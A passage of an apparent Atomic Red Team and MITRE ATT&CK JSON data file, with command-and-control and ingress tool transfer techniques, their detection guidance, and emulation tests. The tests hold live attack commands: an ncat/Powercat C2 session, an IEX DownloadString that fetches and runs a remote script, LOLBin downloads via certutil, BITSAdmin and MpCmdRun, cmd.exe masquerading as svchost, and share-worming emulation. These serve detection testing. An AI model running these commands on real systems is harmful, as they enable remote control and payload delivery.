- "auto_generated_guid": "bcf0d1c1-3f6a-4847-b1c9-7ed4ea321f37",
- "description": "Start C2 Session Using Ncat\nTo start the listener on a Linux device, type the following: \nnc -l -p \n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "server_port": {
- "description": "The port for the C2 connection",
- "type": "integer",
- "default": 80
- },
- "ncat_exe": {
- "description": "The location of ncat.exe",
- "type": "path",
- "default": "$env:TEMP\\T1095\\nmap-7.80\\ncat.exe"
- },
- "ncat_path": {
- "description": "The folder path of ncat.exe",
- "type": "path",
- "default": "$env:TEMP\\T1095"
- },
- "server_ip": {
- "description": "The IP address or domain name of the listening server",
- "type": "string",
- "default": "127.0.0.1"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "ncat.exe must be available at specified location (#{ncat_exe})\n",
- "prereq_command": "if( Test-Path \"#{ncat_exe}\") {exit 0} else {exit 1}\n",
- "get_prereq_command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nNew-Item -ItemType Directory -Force -Path #{ncat_path} | Out-Null\n$parentpath = Split-Path (Split-Path \"#{ncat_exe}\"); $zippath = \"$parentpath\\nmap.zip\"\nInvoke-WebRequest \"https://nmap.org/dist/nmap-7.80-win32.zip\" -OutFile \"$zippath\"\n Expand-Archive $zippath $parentpath -Force\n $unzipPath = Join-Path $parentPath \"nmap-7.80\"\nif( $null -eq (Get-ItemProperty HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\* | ?{$_.DisplayName -like \"Microsoft Visual C++*\"}) ) {\n Start-Process (Join-Path $unzipPath \"vcredist_x86.exe\")\n}\n"
- }
- ],
- "executor": {
- "command": "cmd /c #{ncat_exe} #{server_ip} #{server_port}\n",
- "name": "powershell"
- }
- },
- {
- "name": "Powercat C2",
- "auto_generated_guid": "3e0e0e7f-6aa2-4a61-b61d-526c2cc9330e",
- "description": "Start C2 Session Using Powercat\nTo start the listener on a Linux device, type the following: \nnc -l -p \n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "server_ip": {
- "description": "The IP address or domain name of the listening server",
- "type": "string",
- "default": "127.0.0.1"
- },
- "server_port": {
- "description": "The port for the C2 connection",
- "type": "integer",
- "default": 80
- }
- },
- "executor": {
- "command": "IEX (New-Object System.Net.Webclient).Downloadstring('https://raw.githubusercontent.com/besimorhino/powercat/ff755efeb2abc3f02fa0640cd01b87c4a59d6bb5/powercat.ps1')\npowercat -c #{server_ip} -p #{server_port}\n",
- "name": "powershell"
- }
- }
- ]
- },
- "T1001.003": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "Windows",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--c325b232-d5bc-4dde-a3ec-71f3db9e8adc",
- "type": "attack-pattern",
- "created": "2020-03-15T00:40:27.503Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1001.003",
- "url": "https://attack.mitre.org/techniques/T1001/003"
- },
- {
- "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
- "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
- "source_name": "University of Birmingham C2"
- }
- ],
- "modified": "2020-03-15T00:40:27.503Z",
- "name": "Protocol Impersonation",
- "description": "Adversaries may impersonate legitimate protocols or web service traffic to disguise command and control activity and thwart analysis efforts. By impersonating legitimate protocols or web services, adversaries can make their command and control traffic blend in with legitimate network traffic. \n\nAdversaries may impersonate a fake SSL/TLS handshake to make it look like subsequent traffic is SSL/TLS encrypted, potentially interfering with some security tooling, or to make the traffic look like it is related with a trusted entity. ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "command-and-control"
- }
- ],
- "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Network Traffic: Network Traffic Content"
- ]
- },
- "atomic_tests": []
- },
- "T1065": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0",
- "type": "attack-pattern",
- "created": "2017-05-31T21:30:53.408Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1065",
- "url": "https://attack.mitre.org/techniques/T1065"
- },
- {
- "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
- "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
- "source_name": "University of Birmingham C2"
- }
- ],
- "modified": "2020-03-14T18:19:53.002Z",
- "name": "Uncommonly Used Port",
- "description": "Adversaries may conduct C2 communications over a non-standard port to bypass proxies and firewalls that have been improperly configured.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "command-and-control"
- }
- ],
- "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1090.004": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Matt Kelly, @breakersall"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--ca9d3402-ada3-484d-876a-d717bd6e05f2",
- "type": "attack-pattern",
- "created": "2020-03-14T23:29:19.581Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1090.004",
- "url": "https://attack.mitre.org/techniques/T1090/004"
- },
- {
- "external_id": "CAPEC-481",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/481.html"
- },
- {
- "url": "http://www.icir.org/vern/papers/meek-PETS-2015.pdf",
- "description": "David Fifield, Chang Lan, Rod Hynes, Percy Wegmann, and Vern Paxson. (2015). Blocking-resistant communication through domain fronting. Retrieved November 20, 2017.",
- "source_name": "Fifield Blocking Resistent Communication through domain fronting 2015"
- }
- ],
- "modified": "2020-09-16T19:30:54.226Z",
- "name": "Domain Fronting",
- "description": "Adversaries may take advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015) Domain fronting involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. A variation of the the technique, \"domainless\" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored).\n\nFor example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header. Traffic will appear to be going to domain-x, however the CDN may route it to domain-y.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "command-and-control"
- }
- ],
- "x_mitre_detection": "If SSL inspection is in place or the traffic is not encrypted, the Host field of the HTTP header can be checked if it matches the HTTPS SNI or against a blocklist or allowlist of domain names. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015)",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Network Traffic: Network Traffic Content"
- ]
- },
- "atomic_tests": []
- },
- "T1132": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Itzik Kotler, SafeBreach"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f",
- "type": "attack-pattern",
- "created": "2017-05-31T21:31:43.540Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1132",
- "url": "https://attack.mitre.org/techniques/T1132"
- },
- {
- "url": "https://en.wikipedia.org/wiki/Binary-to-text_encoding",
- "description": "Wikipedia. (2016, December 26). Binary-to-text encoding. Retrieved March 1, 2017.",
- "source_name": "Wikipedia Binary-to-text Encoding"
- },
- {
- "url": "https://en.wikipedia.org/wiki/Character_encoding",
- "description": "Wikipedia. (2017, February 19). Character Encoding. Retrieved March 1, 2017.",
- "source_name": "Wikipedia Character Encoding"
- },
- {
- "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
- "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
- "source_name": "University of Birmingham C2"
- }
- ],
- "modified": "2020-03-14T23:39:50.338Z",
- "name": "Data Encoding",
- "description": "Adversaries may encode data to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system. Use of data encoding may adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64, MIME, or other binary-to-text and character encoding systems.(Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "command-and-control"
- }
- ],
- "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)",
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Network Traffic: Network Traffic Content"
- ],
- "x_mitre_permissions_required": [
- "User"
- ]
- },
- "atomic_tests": []
- },
- "T1132.002": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--d467bc38-284b-4a00-96ac-125f447799fc",
- "type": "attack-pattern",
- "created": "2020-03-14T23:39:50.117Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1132.002",
- "url": "https://attack.mitre.org/techniques/T1132/002"
- },
- {
- "url": "https://en.wikipedia.org/wiki/Binary-to-text_encoding",
- "description": "Wikipedia. (2016, December 26). Binary-to-text encoding. Retrieved March 1, 2017.",
- "source_name": "Wikipedia Binary-to-text Encoding"
- },
- {
- "url": "https://en.wikipedia.org/wiki/Character_encoding",
- "description": "Wikipedia. (2017, February 19). Character Encoding. Retrieved March 1, 2017.",
- "source_name": "Wikipedia Character Encoding"
- },
- {
- "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
- "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
- "source_name": "University of Birmingham C2"
- }
- ],
- "modified": "2020-03-14T23:39:50.117Z",
- "name": "Non-Standard Encoding",
- "description": "Adversaries may encode data with a non-standard data encoding system to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a non-standard data encoding system that diverges from existing protocol specifications. Non-standard data encoding schemes may be based on or related to standard data encoding schemes, such as a modified Base64 encoding for the message body of an HTTP request.(Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "command-and-control"
- }
- ],
- "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Network Traffic: Network Traffic Content"
- ],
- "x_mitre_permissions_required": [
- "User"
- ]
- },
- "atomic_tests": []
- },
- "T1071.001": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
- "type": "attack-pattern",
- "created": "2020-03-15T16:13:46.151Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1071.001",
- "url": "https://attack.mitre.org/techniques/T1071/001"
- },
- {
- "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
- "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
- "source_name": "University of Birmingham C2"
- }
- ],
- "modified": "2020-03-26T20:15:35.821Z",
- "name": "Application Layer Protocol: Web Protocols",
- "description": "Adversaries may communicate using application layer protocols associated with web traffic to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nProtocols such as HTTP and HTTPS that carry web traffic may be very common in environments. HTTP/S packets have many fields and headers in which data can be concealed. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic. ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "command-and-control"
- }
- ],
- "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2)\n\nMonitor for web traffic to/from known-bad or suspicious domains. ",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Network Traffic: Network Traffic Content",
- "Network Traffic: Network Traffic Flow"
- ],
- "identifier": "T1071.001"
- },
- "atomic_tests": [
- {
- "name": "Malicious User Agents - Powershell",
- "auto_generated_guid": "81c13829-f6c9-45b8-85a6-053366d55297",
- "description": "This test simulates an infected host beaconing to command and control. Upon execution, no output will be displayed. \nUse an application such as Wireshark to record the session and observe user agent strings and responses.\n\nInspired by APTSimulator - https://github.com/NextronSystems/APTSimulator/blob/master/test-sets/command-and-control/malicious-user-agents.bat\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "domain": {
- "description": "Default domain to simulate against",
- "type": "string",
- "default": "www.google.com"
- }
- },
- "executor": {
- "command": "Invoke-WebRequest #{domain} -UserAgent \"HttpBrowser/1.0\" | out-null\nInvoke-WebRequest #{domain} -UserAgent \"Wget/1.9+cvs-stable (Red Hat modified)\" | out-null\nInvoke-WebRequest #{domain} -UserAgent \"Opera/8.81 (Windows NT 6.0; U; en)\" | out-null\nInvoke-WebRequest #{domain} -UserAgent \"*<|>*\" | out-null\n",
- "name": "powershell"
- }
- },
- {
- "name": "Malicious User Agents - CMD",
- "auto_generated_guid": "dc3488b0-08c7-4fea-b585-905c83b48180",
- "description": "This test simulates an infected host beaconing to command and control. Upon execution, no out put will be displayed. \nUse an application such as Wireshark to record the session and observe user agent strings and responses.\n\nInspired by APTSimulator - https://github.com/NextronSystems/APTSimulator/blob/master/test-sets/command-and-control/malicious-user-agents.bat\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "domain": {
- "description": "Default domain to simulate against",
- "type": "string",
- "default": "www.google.com"
- },
- "curl_path": {
- "description": "path to curl.exe",
- "type": "path",
- "default": "C:\\Windows\\System32\\Curl.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Curl must be installed on system \n",
- "prereq_command": "if (Test-Path #{curl_path}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "Invoke-WebRequest \"https://curl.haxx.se/windows/dl-7.71.1/curl-7.71.1-win32-mingw.zip\" -Outfile $env:temp\\curl.zip\nExpand-Archive -Path $env:temp\\curl.zip -DestinationPath $env:temp\\curl\nCopy-Item $env:temp\\curl\\curl-7.71.1-win32-mingw\\bin\\curl.exe #{curl_path}\nRemove-Item $env:temp\\curl\nRemove-Item $env:temp\\curl.zip\n"
- }
- ],
- "executor": {
- "command": "#{curl_path} -s -A \"HttpBrowser/1.0\" -m3 #{domain} >nul 2>&1\n#{curl_path} -s -A \"Wget/1.9+cvs-stable (Red Hat modified)\" -m3 #{domain} >nul 2>&1\n#{curl_path} -s -A \"Opera/8.81 (Windows NT 6.0; U; en)\" -m3 #{domain} >nul 2>&1\n#{curl_path} -s -A \"*<|>*\" -m3 #{domain} >nul 2>&1\n",
- "name": "command_prompt"
- }
- }
- ]
- },
- "T1105": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "John Page (aka hyp3rlinx), ApparitionSec"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
- "created": "2017-05-31T21:31:16.408Z",
- "x_mitre_version": "2.1",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1105",
- "url": "https://attack.mitre.org/techniques/T1105"
- },
- {
- "source_name": "University of Birmingham C2",
- "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
- "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016."
- },
- {
- "source_name": "t1105_lolbas",
- "url": "https://lolbas-project.github.io/#t1105",
- "description": "LOLBAS. (n.d.). LOLBAS Mapped to T1105. Retrieved March 11, 2022."
- },
- {
- "source_name": "PTSecurity Cobalt Dec 2016",
- "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf",
- "description": "Positive Technologies. (2016, December 16). Cobalt Snatch. Retrieved October 9, 2018."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as [ftp](https://attack.mitre.org/software/S0095). Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570)). \n\nFiles can also be transferred using various [Web Service](https://attack.mitre.org/techniques/T1102)s as well as native or otherwise present tools on the victim system.(Citation: PTSecurity Cobalt Dec 2016)\n\nOn Windows, adversaries may use various utilities to download tools, such as `copy`, `finger`, and [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands such as IEX(New-Object Net.WebClient).downloadString()
and Invoke-WebRequest
. On Linux and macOS systems, a variety of utilities also exist, such as `curl`, `scp`, `sftp`, `tftp`, `rsync`, `finger`, and `wget`.(Citation: t1105_lolbas)",
- "modified": "2022-05-20T17:38:35.985Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Ingress Tool Transfer",
- "x_mitre_detection": "Monitor for file creation and files transferred into the network. Unusual processes with external network connections creating files on-system may be suspicious. Use of utilities, such as [ftp](https://attack.mitre.org/software/S0095), that does not normally occur may also be suspicious.\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Specifically, for the finger utility on Windows and Linux systems, monitor command line or terminal execution for the finger command. Monitor network activity for TCP port 79, which is used by the finger utility, and Windows netsh interface portproxy
modifications to well-known ports such as 80 and 443. Furthermore, monitor file system for the download/creation and execution of suspicious files, which may indicate adversary-downloaded payloads. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "command-and-control"
- }
- ],
- "x_mitre_is_subtechnique": false,
- "x_mitre_data_sources": [
- "Network Traffic: Network Traffic Flow",
- "Network Traffic: Network Connection Creation",
- "File: File Creation",
- "Network Traffic: Network Traffic Content"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1105"
- },
- "atomic_tests": [
- {
- "name": "certutil download (urlcache)",
- "auto_generated_guid": "dd3b61dd-7bbc-48cd-ab51-49ad1a776df0",
- "description": "Use certutil -urlcache argument to download a file from the web. Note - /urlcache also works!\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "remote_file": {
- "description": "URL of file to copy",
- "type": "url",
- "default": "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt"
- },
- "local_path": {
- "description": "Local path to place file",
- "type": "path",
- "default": "Atomic-license.txt"
- }
- },
- "executor": {
- "command": "cmd /c certutil -urlcache -split -f #{remote_file} #{local_path}\n",
- "cleanup_command": "del #{local_path} >nul 2>&1\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "certutil download (verifyctl)",
- "auto_generated_guid": "ffd492e3-0455-4518-9fb1-46527c9f241b",
- "description": "Use certutil -verifyctl argument to download a file from the web. Note - /verifyctl also works!\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "remote_file": {
- "description": "URL of file to copy",
- "type": "url",
- "default": "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt"
- },
- "local_path": {
- "description": "Local path to place file",
- "type": "path",
- "default": "Atomic-license.txt"
- }
- },
- "executor": {
- "command": "$datePath = \"certutil-$(Get-Date -format yyyy_MM_dd)\"\nNew-Item -Path $datePath -ItemType Directory\nSet-Location $datePath\ncertutil -verifyctl -split -f #{remote_file}\nGet-ChildItem | Where-Object {$_.Name -notlike \"*.txt\"} | Foreach-Object { Move-Item $_.Name -Destination #{local_path} }\n",
- "cleanup_command": "Remove-Item \"certutil-$(Get-Date -format yyyy_MM_dd)\" -Force -Recurse -ErrorAction Ignore\n",
- "name": "powershell"
- }
- },
- {
- "name": "Windows - BITSAdmin BITS Download",
- "auto_generated_guid": "a1921cd3-9a2d-47d5-a891-f1d0f2a7a31b",
- "description": "This test uses BITSAdmin.exe to schedule a BITS job for the download of a file.\nThis technique is used by Qbot malware to download payloads.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "bits_job_name": {
- "description": "Name of the created BITS job",
- "type": "string",
- "default": "qcxjb7"
- },
- "local_path": {
- "description": "Local path to place file",
- "type": "path",
- "default": "%temp%\\Atomic-license.txt"
- },
- "remote_file": {
- "description": "URL of file to copy",
- "type": "url",
- "default": "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt"
- }
- },
- "executor": {
- "command": "C:\\Windows\\System32\\bitsadmin.exe /transfer #{bits_job_name} /Priority HIGH #{remote_file} #{local_path}\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Windows - PowerShell Download",
- "auto_generated_guid": "42dc4460-9aa6-45d3-b1a6-3955d34e1fe8",
- "description": "This test uses PowerShell to download a payload.\nThis technique is used by multiple adversaries and malware families.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "remote_file": {
- "description": "URL of file to copy",
- "type": "url",
- "default": "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt"
- },
- "destination_path": {
- "description": "Destination path to file",
- "type": "path",
- "default": "$env:TEMP\\Atomic-license.txt"
- }
- },
- "executor": {
- "command": "(New-Object System.Net.WebClient).DownloadFile(\"#{remote_file}\", \"#{destination_path}\")\n",
- "cleanup_command": "Remove-Item #{destination_path} -Force -ErrorAction Ignore\n",
- "name": "powershell"
- }
- },
- {
- "name": "OSTAP Worming Activity",
- "auto_generated_guid": "2ca61766-b456-4fcf-a35a-1233685e1cad",
- "description": "OSTap copies itself in a specfic way to shares and secondary drives. This emulates the activity.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "destination_path": {
- "description": "Path to create remote file at. Default is local admin share.",
- "type": "string",
- "default": "\\\\localhost\\C$"
- }
- },
- "executor": {
- "command": "pushd #{destination_path}\necho var fileObject = WScript.createobject(\"Scripting.FileSystemObject\");var newfile = fileObject.CreateTextFile(\"AtomicTestFileT1105.js\", true);newfile.WriteLine(\"This is an atomic red team test file for T1105. It simulates how OSTap worms accross network shares and drives.\");newfile.Close(); > AtomicTestT1105.js\nCScript.exe AtomicTestT1105.js //E:JScript\ndel AtomicTestT1105.js /Q >nul 2>&1\ndel AtomicTestFileT1105.js /Q >nul 2>&1\npopd\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "svchost writing a file to a UNC path",
- "auto_generated_guid": "fa5a2759-41d7-4e13-a19c-e8f28a53566f",
- "description": "svchost.exe writing a non-Microsoft Office file to a file with a UNC path.\nUpon successful execution, this will rename cmd.exe as svchost.exe and move it to `c:\\`, then execute svchost.exe with output to a txt file.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "copy C:\\Windows\\System32\\cmd.exe C:\\svchost.exe\nC:\\svchost.exe /c echo T1105 > \\\\localhost\\c$\\T1105.txt\n",
- "cleanup_command": "del C:\\T1105.txt >nul 2>&1\ndel C:\\\\svchost.exe >nul 2>&1\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "Download a File with Windows Defender MpCmdRun.exe",
- "auto_generated_guid": "815bef8b-bf91-4b67-be4c-abe4c2a94ccc",
- "description": "Uses Windows Defender MpCmdRun.exe to download a file from the internet (must have version 4.18 installed).\nThe input arguments \"remote_file\" and \"local_path\" can be used to specify the download URL and the name of the output file.\nBy default, the test downloads the Atomic Red Team license file to the temp directory.\n\nMore info and how to find your version can be found here https://lolbas-project.github.io/lolbas/Binaries/MpCmdRun/\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "remote_file": {
- "description": "URL of file to download",
- "type": "url",
- "default": "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt"
- },
- "local_path": {
- "description": "Location to save downloaded file",
- "type": "path",
- "default": "%temp%\\Atomic-license.txt"
- }
- },
- "dependencies": [
- {
- "description": "Must have a Windows Defender version with MpCmdRun.exe installed",
- "prereq_command": "cd \"%ProgramData%\\Microsoft\\Windows Defender\\platform\\4.18*\"\nMpCmdRun.exe /?\n",
- "get_prereq_command": "Echo \"A version of Windows Defender with MpCmdRun.exe must be installed manually\""
- }
- ],
- "executor": {
- "command": "cd \"%ProgramData%\\Microsoft\\Windows Defender\\platform\\4.18*\"\nMpCmdRun.exe -DownloadFile -url #{remote_file} -path #{local_path}\n",
- "cleanup_command": "del #{local_path} >nul 2>&1\ndel %temp%\\MpCmdRun.log >nul 2>&1",
- "name": "command_prompt"
- }
- },
- {
- "name": "File Download via PowerShell",
- "auto_generated_guid": "54a4daf1-71df-4383-9ba7-f1a295d8b6d2",
- "description": "Use PowerShell to download and write an arbitrary file from the internet. Example is from the 2021 Threat Detection Report by Red Canary.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "target_remote_file": {
- "description": "File to download",
- "type": "url",
- "default": "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/4042cb3433bce024e304500dcfe3c5590571573a/LICENSE.txt"
- },
- "output_file": {
- "description": "File to write to",
- "type": "string",
- "default": "LICENSE.txt"
- }
- },
- "executor": {
- "command": "(New-Object Net.WebClient).DownloadString('#{target_remote_file}') | Out-File #{output_file}; Invoke-Item #{output_file}\n",
- "name": "powershell"
- }
- },
- {
- "name": "File download with finger.exe on Windows",
- "auto_generated_guid": "5f507e45-8411-4f99-84e7-e38530c45d01",
